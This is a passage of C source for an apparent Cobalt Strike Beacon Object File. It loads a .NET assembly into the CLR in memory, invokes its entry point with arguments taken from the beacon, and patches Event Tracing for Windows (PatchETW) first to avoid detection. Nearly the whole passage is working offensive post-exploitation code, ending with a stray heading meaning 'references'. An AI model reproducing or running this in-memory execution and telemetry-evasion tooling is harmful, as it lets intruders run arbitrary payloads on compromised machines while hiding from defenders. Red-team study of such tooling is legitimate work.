BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayAccessData Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] SafeArrayAccessData Success");
MSVCRT$memcpy(pData, AssemblyBytes, AssemblyLength);
hr = OLEAUT32$SafeArrayUnaccessData(pSafeArray);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayUnaccessData Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] SafeArrayUnaccessData Success");
hr = pDefaultAppDomain->lpVtbl->Load_3(pDefaultAppDomain,pSafeArray, &pAssembly);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!]Load_3 Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] Load_3 Success");
hr = pAssembly->lpVtbl->EntryPoint(pAssembly,&pMethodInfo);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!]EntryPoint Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] EntryPoint Success");
MSVCRT$memset(&vRet, 0, sizeof(VARIANT));
MSVCRT$memset(&vObj, 0, sizeof(VARIANT));
vObj.vt = VT_NULL;
vPsa.vt = (VT_ARRAY | VT_BSTR);
args = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 0, 1);
if (NumArguments > 1)
{
vPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, NumArguments);
for (long i = 0; i < NumArguments; i++)
{
OLEAUT32$SafeArrayPutElement(vPsa.parray, &i, OLEAUT32$SysAllocString(ArgumentsArray[i]));
}
long idx[1] = { 0 };
OLEAUT32$SafeArrayPutElement(args, idx, &vPsa);
}
hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo,vObj, args, &vRet);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!]Invoke Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] Invoke Success");
pMethodInfo->lpVtbl->Release(pMethodInfo);
pAssembly->lpVtbl->Release(pAssembly);
pDefaultAppDomain->lpVtbl->Release(pDefaultAppDomain);
iRuntimeInfo->lpVtbl->Release(iRuntimeInfo);
iMetaHost->lpVtbl->Release(iMetaHost);
OLE32$CoUninitialize();
return TRUE;
}
void go(char* args, int length)
{
BeaconPrintf(CALLBACK_OUTPUT, "[+] go go go");
if(PatchETW() == TRUE)
{
BeaconPrintf(CALLBACK_OUTPUT,"patch etw Success");
}
datap parser;
BeaconDataParse(&parser, args, length);
char* AssemblyBytes = BeaconDataExtract(&parser, NULL);
DWORD AssemblyLength = BeaconDataInt(&parser);
char* AssemblyArguments = BeaconDataExtract(&parser, NULL);
BeaconPrintf(CALLBACK_OUTPUT, "[+] AssemblyArguments: %s and AssemblyLength :%d ", AssemblyArguments, AssemblyLength);
wchar_t* wNetVersion = NULL;
if (FindVersion(AssemblyBytes, AssemblyLength) == TRUE)
{
wNetVersion = L"v4.0.30319";
//toWideChar("v4.0.30319", wNetVersion, 22);
}
else
{
wNetVersion = L"v2.0.50727";
//toWideChar("v2.0.50727", wNetVersion, 22);
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] wNetVersion is %ls", wNetVersion);
////将Assembly参数转化为WCHAR类型
size_t convertedChars = 0;
wchar_t* wAssemblyArguments = NULL;
DWORD wideSize = MSVCRT$strlen(AssemblyArguments) + 1;
wAssemblyArguments = (wchar_t*)MSVCRT$malloc(wideSize * sizeof(wchar_t));
MSVCRT$mbstowcs_s(&convertedChars, wAssemblyArguments, wideSize, AssemblyArguments, _TRUNCATE);
BeaconPrintf(CALLBACK_OUTPUT, "[+] wAssemblyArguments is %ls", wAssemblyArguments);
int NumArgs = 0;
LPWSTR* ArgumentsArray = NULL;
ArgumentsArray = SHELL32$CommandLineToArgvW(wAssemblyArguments, &NumArgs);
BeaconPrintf(CALLBACK_OUTPUT, "[+] ArgumentsArray is %ls", wAssemblyArguments);
AssemblyLoad(wNetVersion, AssemblyBytes, AssemblyLength, ArgumentsArray, NumArgs);
}

参考文献